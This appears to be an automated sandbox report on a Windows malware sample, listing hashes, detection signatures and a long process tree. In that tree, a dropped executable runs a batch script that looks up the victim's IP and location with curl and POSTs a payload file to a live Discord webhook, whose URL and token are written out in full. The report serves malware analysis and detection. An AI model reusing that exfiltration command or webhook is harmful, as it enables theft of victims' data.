debf89c1ffd8402810997a8db2bf56bc6037d149c41dec831d371997386fb3cb

Analysis

max time kernel
151s
max time network
154s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260710-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
19/07/2026, 11:25

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-07-19_5671c4063eafefeaecec889ee6b5e3cd_cryptbot_icedid_luca-stealer_njrat_stealc.exe
Size 41.8MB
Sample260719-njrsksh12m
SHA256 debf89c1ffd8402810997a8db2bf56bc6037d149c41dec831d371997386fb3cb
MD5 5671c4063eafefeaecec889ee6b5e3cd
SHA1 d58220c1f56ce1965b4e67527d58e3b03f45f217
SHA512 382d293b47352a570ec7cb2e00c923a3d501711c06bf80249219cc363b1fe7bc337eee6621700867ef0e916baf7ec2ac8910c2bfe8882d82598820ec202c6f0c
SSDEEP 786432:FpIrCNO8PRRCpN712N9KkPCZh0aatb6mGfvlVvbHODMEI8/bBT37jFG:FbO8JR2x2bKvZh0aatI7HODMIbBT37U
TLSH
T17BA73394A094D593EBE0CCF414D4597EA23D3C768AA1411603E375DCEF1BFB82D29B2A
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

defense_evasion discovery execution

Malware Config

Signatures

Executes dropped EXE 1 IoCs

pid	Process
3684	gamewin.exe

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
2	discord.com
9	discord.com

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2	ifconfig.me
2	ip-api.com

Enumerates processes with tasklist 1 TTPs 64 IoCs

discovery

Process Discovery

T1057

pid	Process
2120	tasklist.exe
5204	tasklist.exe
5336	tasklist.exe
5516	tasklist.exe
852	tasklist.exe
5000	tasklist.exe
2848	tasklist.exe
5688	tasklist.exe
2008	tasklist.exe
1244	tasklist.exe
1592	tasklist.exe
2356	tasklist.exe
3948	tasklist.exe
4896	tasklist.exe
5592	tasklist.exe
2604	tasklist.exe
4900	tasklist.exe
3556	tasklist.exe
4444	tasklist.exe
1980	tasklist.exe
1444	tasklist.exe
5880	tasklist.exe
5436	tasklist.exe
6092	tasklist.exe
3068	tasklist.exe
4276	tasklist.exe
1372	tasklist.exe
2960	tasklist.exe
200	tasklist.exe
2004	tasklist.exe
1380	tasklist.exe
4816	tasklist.exe
4716	tasklist.exe
4108	tasklist.exe
1212	tasklist.exe
5948	tasklist.exe
2152	tasklist.exe
2760	tasklist.exe
1996	tasklist.exe
3592	tasklist.exe
4516	tasklist.exe
5540	tasklist.exe
1416	tasklist.exe
4448	tasklist.exe
5016	tasklist.exe
1060	tasklist.exe
264	tasklist.exe
3012	tasklist.exe
5168	tasklist.exe
4720	tasklist.exe
5248	tasklist.exe
5804	tasklist.exe
6084	tasklist.exe
1148	tasklist.exe
1620	tasklist.exe
4276	tasklist.exe
1168	tasklist.exe
1228	tasklist.exe
3356	tasklist.exe
968	tasklist.exe
4848	tasklist.exe
428	tasklist.exe
1608	tasklist.exe
4496	tasklist.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
6104	cmd.exe
3752	cmd.exe

Delays execution with timeout.exe 64 IoCs

defense_evasion

pid	Process
5676	timeout.exe
3112	timeout.exe
4448	timeout.exe
1300	timeout.exe
2804	timeout.exe
5952	timeout.exe
2592	timeout.exe
3716	timeout.exe
4908	timeout.exe
3840	timeout.exe
1676	timeout.exe
4316	timeout.exe
2736	timeout.exe
4592	timeout.exe
2824	timeout.exe
400	timeout.exe
4116	timeout.exe
3748	timeout.exe
4124	timeout.exe
3032	timeout.exe
6064	timeout.exe
1620	timeout.exe
2328	timeout.exe
3952	timeout.exe
5524	timeout.exe
3852	timeout.exe
5364	timeout.exe
1456	timeout.exe
5612	timeout.exe
3056	timeout.exe
5612	timeout.exe
4796	timeout.exe
2664	timeout.exe
124	timeout.exe
5892	timeout.exe
4172	timeout.exe
716	timeout.exe
5948	timeout.exe
820	timeout.exe
4144	timeout.exe
4616	timeout.exe
2872	timeout.exe
4900	timeout.exe
968	timeout.exe
6012	timeout.exe
3004	timeout.exe
2440	timeout.exe
2064	timeout.exe
3320	timeout.exe
2624	timeout.exe
4648	timeout.exe
4744	timeout.exe
5768	timeout.exe
3064	timeout.exe
3004	timeout.exe
3828	timeout.exe
5380	timeout.exe
3556	timeout.exe
3316	timeout.exe
5652	timeout.exe
3320	timeout.exe
5232	timeout.exe
4128	timeout.exe
1812	timeout.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3556	tasklist.exe
Token: SeDebugPrivilege	4848	tasklist.exe
Token: SeDebugPrivilege	4276	tasklist.exe
Token: SeDebugPrivilege	1588	tasklist.exe
Token: SeDebugPrivilege	5964	tasklist.exe
Token: SeDebugPrivilege	5204	tasklist.exe
Token: SeDebugPrivilege	2044	tasklist.exe
Token: SeDebugPrivilege	5168	tasklist.exe
Token: SeDebugPrivilege	1232	tasklist.exe
Token: SeDebugPrivilege	1188	tasklist.exe
Token: SeDebugPrivilege	2000	tasklist.exe
Token: SeDebugPrivilege	2356	tasklist.exe
Token: SeDebugPrivilege	852	tasklist.exe
Token: SeDebugPrivilege	2684	tasklist.exe
Token: SeDebugPrivilege	3592	tasklist.exe
Token: SeDebugPrivilege	4384	tasklist.exe
Token: SeDebugPrivilege	968	tasklist.exe
Token: SeDebugPrivilege	1372	tasklist.exe
Token: SeDebugPrivilege	4416	tasklist.exe
Token: SeDebugPrivilege	1920	tasklist.exe
Token: SeDebugPrivilege	4444	tasklist.exe
Token: SeDebugPrivilege	6084	tasklist.exe
Token: SeDebugPrivilege	2900	tasklist.exe
Token: SeDebugPrivilege	428	tasklist.exe
Token: SeDebugPrivilege	2848	tasklist.exe
Token: SeDebugPrivilege	3360	tasklist.exe
Token: SeDebugPrivilege	5688	tasklist.exe
Token: SeDebugPrivilege	1620	tasklist.exe
Token: SeDebugPrivilege	1608	tasklist.exe
Token: SeDebugPrivilege	2984	tasklist.exe
Token: SeDebugPrivilege	5368	tasklist.exe
Token: SeDebugPrivilege	6096	tasklist.exe
Token: SeDebugPrivilege	1148	tasklist.exe
Token: SeDebugPrivilege	2008	tasklist.exe
Token: SeDebugPrivilege	3020	tasklist.exe
Token: SeDebugPrivilege	1060	tasklist.exe
Token: SeDebugPrivilege	2244	tasklist.exe
Token: SeDebugPrivilege	2356	tasklist.exe
Token: SeDebugPrivilege	2352	tasklist.exe
Token: SeDebugPrivilege	3652	tasklist.exe
Token: SeDebugPrivilege	1524	tasklist.exe
Token: SeDebugPrivilege	1684	tasklist.exe
Token: SeDebugPrivilege	4816	tasklist.exe
Token: SeDebugPrivilege	1980	tasklist.exe
Token: SeDebugPrivilege	3880	tasklist.exe
Token: SeDebugPrivilege	4852	tasklist.exe
Token: SeDebugPrivilege	2120	tasklist.exe
Token: SeDebugPrivilege	4392	tasklist.exe
Token: SeDebugPrivilege	5060	tasklist.exe
Token: SeDebugPrivilege	412	tasklist.exe
Token: SeDebugPrivilege	3948	tasklist.exe
Token: SeDebugPrivilege	4896	tasklist.exe
Token: SeDebugPrivilege	4716	tasklist.exe
Token: SeDebugPrivilege	4496	tasklist.exe
Token: SeDebugPrivilege	5496	tasklist.exe
Token: SeDebugPrivilege	4276	tasklist.exe
Token: SeDebugPrivilege	5824	tasklist.exe
Token: SeDebugPrivilege	5844	tasklist.exe
Token: SeDebugPrivilege	6096	tasklist.exe
Token: SeDebugPrivilege	1064	tasklist.exe
Token: SeDebugPrivilege	2752	tasklist.exe
Token: SeDebugPrivilege	264	tasklist.exe
Token: SeDebugPrivilege	5336	tasklist.exe
Token: SeDebugPrivilege	5540	tasklist.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4588 wrote to memory of 3684	4588	2026-07-19_5671c4063eafefeaecec889ee6b5e3cd_cryptbot_icedid_luca-stealer_njrat_stealc.exe	88
PID 3684 wrote to memory of 6104	3684	gamewin.exe	90
PID 6104 wrote to memory of 2632	6104	cmd.exe	91
PID 6104 wrote to memory of 3752	6104	cmd.exe	92
PID 3752 wrote to memory of 1380	3752	cmd.exe	93
PID 6104 wrote to memory of 3316	6104	cmd.exe	94
PID 6104 wrote to memory of 4844	6104	cmd.exe	95
PID 6104 wrote to memory of 3556	6104	cmd.exe	96
PID 6104 wrote to memory of 3184	6104	cmd.exe	97
PID 6104 wrote to memory of 3840	6104	cmd.exe	99
PID 6104 wrote to memory of 4848	6104	cmd.exe	100
PID 6104 wrote to memory of 3228	6104	cmd.exe	101
PID 6104 wrote to memory of 2328	6104	cmd.exe	102
PID 6104 wrote to memory of 4276	6104	cmd.exe	103
PID 6104 wrote to memory of 728	6104	cmd.exe	104
PID 6104 wrote to memory of 1656	6104	cmd.exe	105
PID 6104 wrote to memory of 1588	6104	cmd.exe	106
PID 6104 wrote to memory of 1136	6104	cmd.exe	107
PID 6104 wrote to memory of 4500	6104	cmd.exe	108
PID 6104 wrote to memory of 5964	6104	cmd.exe	109
PID 6104 wrote to memory of 5816	6104	cmd.exe	110
PID 6104 wrote to memory of 5844	6104	cmd.exe	111
PID 6104 wrote to memory of 5204	6104	cmd.exe	112
PID 6104 wrote to memory of 1032	6104	cmd.exe	113
PID 6104 wrote to memory of 3692	6104	cmd.exe	114
PID 6104 wrote to memory of 2044	6104	cmd.exe	115
PID 6104 wrote to memory of 1496	6104	cmd.exe	116
PID 6104 wrote to memory of 1676	6104	cmd.exe	117
PID 6104 wrote to memory of 5168	6104	cmd.exe	118
PID 6104 wrote to memory of 3508	6104	cmd.exe	119
PID 6104 wrote to memory of 5860	6104	cmd.exe	120
PID 6104 wrote to memory of 1232	6104	cmd.exe	121
PID 6104 wrote to memory of 4076	6104	cmd.exe	122
PID 6104 wrote to memory of 4540	6104	cmd.exe	123
PID 6104 wrote to memory of 1188	6104	cmd.exe	124
PID 6104 wrote to memory of 5756	6104	cmd.exe	125
PID 6104 wrote to memory of 5768	6104	cmd.exe	126
PID 6104 wrote to memory of 2000	6104	cmd.exe	127
PID 6104 wrote to memory of 2156	6104	cmd.exe	128
PID 6104 wrote to memory of 4592	6104	cmd.exe	129
PID 6104 wrote to memory of 2356	6104	cmd.exe	130
PID 6104 wrote to memory of 5128	6104	cmd.exe	131
PID 6104 wrote to memory of 2664	6104	cmd.exe	132
PID 6104 wrote to memory of 852	6104	cmd.exe	133
PID 6104 wrote to memory of 4564	6104	cmd.exe	134
PID 6104 wrote to memory of 5992	6104	cmd.exe	135
PID 6104 wrote to memory of 2684	6104	cmd.exe	136
PID 6104 wrote to memory of 1728	6104	cmd.exe	137
PID 6104 wrote to memory of 2824	6104	cmd.exe	138
PID 6104 wrote to memory of 3592	6104	cmd.exe	139
PID 6104 wrote to memory of 1500	6104	cmd.exe	140
PID 6104 wrote to memory of 400	6104	cmd.exe	141
PID 6104 wrote to memory of 4384	6104	cmd.exe	142
PID 6104 wrote to memory of 964	6104	cmd.exe	143
PID 6104 wrote to memory of 3320	6104	cmd.exe	144
PID 6104 wrote to memory of 968	6104	cmd.exe	145
PID 6104 wrote to memory of 3936	6104	cmd.exe	146
PID 6104 wrote to memory of 2280	6104	cmd.exe	147
PID 6104 wrote to memory of 1372	6104	cmd.exe	148
PID 6104 wrote to memory of 912	6104	cmd.exe	149
PID 6104 wrote to memory of 3064	6104	cmd.exe	150
PID 6104 wrote to memory of 4416	6104	cmd.exe	151
PID 6104 wrote to memory of 1456	6104	cmd.exe	152
PID 6104 wrote to memory of 4116	6104	cmd.exe	153

cURL User-Agent 2 IoCs

Uses User-Agent string associated with cURL utility.

description	flow	ioc
HTTP User-Agent header	6	curl/8.8.0
HTTP User-Agent header	8	curl/8.8.0

C:\Users\Admin\AppData\Local\Temp\2026-07-19_5671c4063eafefeaecec889ee6b5e3cd_cryptbot_icedid_luca-stealer_njrat_stealc.exe
"C:\Users\Admin\AppData\Local\Temp\2026-07-19_5671c4063eafefeaecec889ee6b5e3cd_cryptbot_icedid_luca-stealer_njrat_stealc.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4588
- C:\Users\Admin\AppData\Local\Temp\RarSFX0\gamewin.exe
  "C:\Users\Admin\AppData\Local\Temp\RarSFX0\gamewin.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3684
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd" /c "C:\Users\Admin\AppData\Local\Temp\A1F3.tmp\A1F4.tmp\A1F5.bat C:\Users\Admin\AppData\Local\Temp\RarSFX0\gamewin.exe"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:6104
  - - C:\Windows\system32\mode.com
      mode con: cols=90 lines=40
      4⤵
      PID:2632
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c curl -s ifconfig.me
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:3752
    - - C:\Windows\system32\curl.exe
        
        curl -s ifconfig.me
        5⤵
        
        PID:1380
  - - C:\Windows\system32\curl.exe
      curl -s "http://ip-api.com/line/?fields=country,regionName,city,isp,org&query=85.203.46.201"
      4⤵
      PID:3316
  - - C:\Windows\system32\curl.exe
      curl -X POST -H "Content-Type: application/json" -d @C:\Users\Admin\AppData\Local\Temp\payload.txt "https://discord.com/api/webhooks/1528169130723639528/2XuQhT2gwQQA2it3YZt-rnYxDvmykegS7Wo5UxRJjdju02uhASSePAjLd-l905qzxEH2"
      4⤵
      PID:4844
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:3556
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:3184
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:3840
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:4848
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:3228
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:2328
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:4276
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:728
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:1656
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1588
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:1136
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:4500
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:5964
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:5816
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:5844
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:5204
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:1032
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:3692
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:2044
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:1496
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:1676
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:5168
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:3508
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:5860
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1232
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:4076
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:4540
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1188
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:5756
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:5768
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:2000
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:2156
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:4592
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:2356
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:5128
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:2664
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:852
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:4564
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:5992
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:2684
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:1728
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:2824
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3592
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:1500
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:400
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4384
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:964
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:3320
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:968
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:3936
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:2280
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:1372
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:912
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:3064
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4416
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:1456
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:4116
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1920
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:4348
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:5664
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:4444
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:3436
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:2852
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:6084
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:1952
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:5232
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:2900
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:3716
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:5060
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:428
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:1168
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:1660
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:2848
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:1380
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:900
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3360
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:4896
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:2656
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:5688
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:4716
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:3616
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:1620
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:3340
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:2872
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:1608
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:2364
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:3748
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:2984
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:1272
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:244
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:5368
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:1440
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:5380
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:6096
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:4872
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:716
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:1148
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:2044
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:2232
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:2008
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:4064
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:2064
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3020
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:2380
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:3952
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:1060
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:1632
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:3032
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:2244
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:2156
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:3916
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:2356
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:5128
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:5428
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:2352
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:1476
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:1228
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3652
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:2684
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:5948
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1524
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:3592
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:2212
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1684
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:4520
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:5524
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:4816
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:3932
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:1592
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:1980
